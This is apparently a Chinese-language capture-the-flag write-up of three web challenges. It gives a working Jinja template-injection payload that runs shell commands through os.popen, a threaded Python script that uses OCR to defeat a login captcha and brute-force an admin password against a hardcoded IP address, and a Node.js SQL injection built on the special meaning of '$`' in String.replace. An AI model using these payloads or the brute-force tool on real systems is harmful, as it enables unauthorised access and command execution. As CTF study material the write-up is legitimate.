虽然比赛没有什么意思,但是还是要说一句,做安全一定不能嫌麻烦,这次也是践行了

web1

是个ssti

直觉很对,最后回显的时候卡了很久,不过可以用request参数来rce,感觉会更好一点

{{ url_for.__globals__['__builtins__']['eval']('" ".join(__import__("os").popen("mo" + "re " + chr(47) + "fla" + "gf149").read().split(chr(10)))') }}

web2

纯弱智,虽然猜到了是要爆破,但是爆破到1w5之后靶机被关了,目标密码在8w多,再多给几分钟时间就好了

import threading
import queue
import requests
from PIL import Image
import pytesseract
from io import BytesIO
import time

CAPTCHA_URL = "http://139.155.126.78:15607/captcha.php"
LOGIN_URL = "http://139.155.126.78:15607/index.php"

password_queue = queue.Queue()

NUM_THREADS = 20
SUCCESS_KEYWORD = "用户名或密码错误,请重试!"  

def get_captcha_and_recognize(session):

    r = session.get(CAPTCHA_URL, stream=True)
    r.raise_for_status()
    
    img_data = r.content
    image = Image.open(BytesIO(img_data))
    captcha_text = pytesseract.image_to_string(image, config="--psm 7 digits").strip()
    return captcha_text

def try_login(session, username, password):

    captcha_text = get_captcha_and_recognize(session)
    form_data = {
        "username": username,
        "password": password,
        "yzm": captcha_text
    }
    response = session.post(LOGIN_URL, data=form_data)

    return response

def worker(thread_id):

    session = requests.Session()

    while True:
        try:
            password = password_queue.get_nowait()
        except queue.Empty:
            break 
        MAX_CAPTCHA_RETRY = 5
        for attempt in range(MAX_CAPTCHA_RETRY):
            resp = try_login(session, "admin", password)
            text = resp.text

            if "验证码输入有误" in text:
                print(f"[Thread-{thread_id}] 密码: {password} -> 验证码识别错误, 重试第 {attempt+1} 次")
                time.sleep(1)
                continue 
            else:

                if SUCCESS_KEYWORD not in text:
                    print(f"[Thread-{thread_id}] 登录成功! 密码: {password}")
                    sys.exit(0)
                else:
                    print(f"[Thread-{thread_id}] 密码: {password} -> 登录失败 (非验证码问题).")
                    break
        
        password_queue.task_done()

def main():

    with open("passwords.txt", "r", encoding="latin-1") as f:
        for line in f:
            pwd = line.strip()
            if pwd:
                password_queue.put(pwd)
    
    threads = []
    for i in range(NUM_THREADS):
        t = threading.Thread(target=worker, args=(i,))
        t.start()
        threads.append(t)
    
    password_queue.join()
    for t in threads:
        t.join()

    print("全部尝试结束")

if __name__ == "__main__":
    main()

之后是php环境下的临时文件上传的考点,也是很常见了

web3

只能说这是唯一一个稍微有点意思的吧


var express = require('express');
var router = express.Router();
module.exports = router;

router.get('/',(req,res,next)=>{
    if(req.query.info){
        if(req.url.match(/\,/ig)){
            res.end('hacker1!');
        }
        var info = JSON.parse(req.query.info);
        if(info.username&&info.password){
            var username = info.username;
            var password = info.password;
            if(info.username.match(/\'|\"|\\/) || info.password.match(/\'|\"|\\/)){
                res.end('hacker2!');
            }
            var sql = "select * from userinfo where username = '{username}' and password = '{password}'";
            sql = sql.replace("{username}",username);
            sql = sql.replace("{password}",password);
            connection.query(sql,function (err,rs) {
            if (err) {
                res.end('error1');
            }
            else {
                if(rs.length>0){
                res.sendFile('/flag');
                }else {
                res.end('username or password error');
                }
            }
            })
        }
        else{
            res.end("please input the data");
        }
       
}
    else{
        res.end("please input the data");
    }
})⏎      

题目代码如上

sql = sql.replace("{username}",username);
sql = sql.replace("{password}",password);

关键语句是这两句

var username = "$` or 1=1 --+ "
var password = "12334"

var sql = "select * from userinfo where username = '{username}' and password = '{password}'";
sql = sql.replace("{username}",username);
sql = sql.replace("{password}",password);
console.log(sql)

写个测试demo就会发现 ,输出的结果变成了

select * from userinfo where username = 'select * from userinfo where username = ' or 1=1 --+ ' and password = '12334'

成功注入了

原因是

$`

在nodejs里的replace, $是有特殊含义的,而上述的符号就代表着,位于匹配子串左侧的文本,也就是

select * from userinfo where username = '

部分,其中'直接和前面的匹配了,之后的部分自然也就注入了